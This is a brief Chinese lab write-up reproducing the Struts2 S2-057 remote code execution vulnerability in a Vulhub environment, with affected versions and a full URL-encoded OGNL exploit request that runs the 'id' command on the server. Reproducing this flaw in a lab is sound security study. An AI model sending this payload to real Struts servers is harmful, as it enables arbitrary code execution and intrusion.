Vulnhub-Struts2系列漏洞

S2-057远程代码执行漏洞

漏洞简述:

漏洞产生于网站配置XML时如果没有设置namespace的值，并且上层动作配置中并没有设置或使用通配符namespace时，可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值，并且上层动作并没有设置或使用通配符namespace，从而导致远程代码执行漏洞的发生

影响版本:

Struts 2.3–Struts 2.3.34,Struts 2.5–Struts 2.5.16

准备环境

启动Vulnhub靶机环境：

验证靶机应用启用成功：

漏洞复现：

在url处输入：IP:8080//struts2-showcas/$%7B(123+123)%7D/actionChain1.action回车后可以看到中间的数字相加了。

修改中间${(123+123)}位置的payload替换用代码执行编写成命令执行的exp，这一步使用burp抓包修改可以直观的看到结果。

POC：

GET /struts2-showcase/$%7b%0d%0a%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action HTTP/1.1

直接替换

注意：url编码后拼接的/actionChain1.action不能少

漏洞利用成功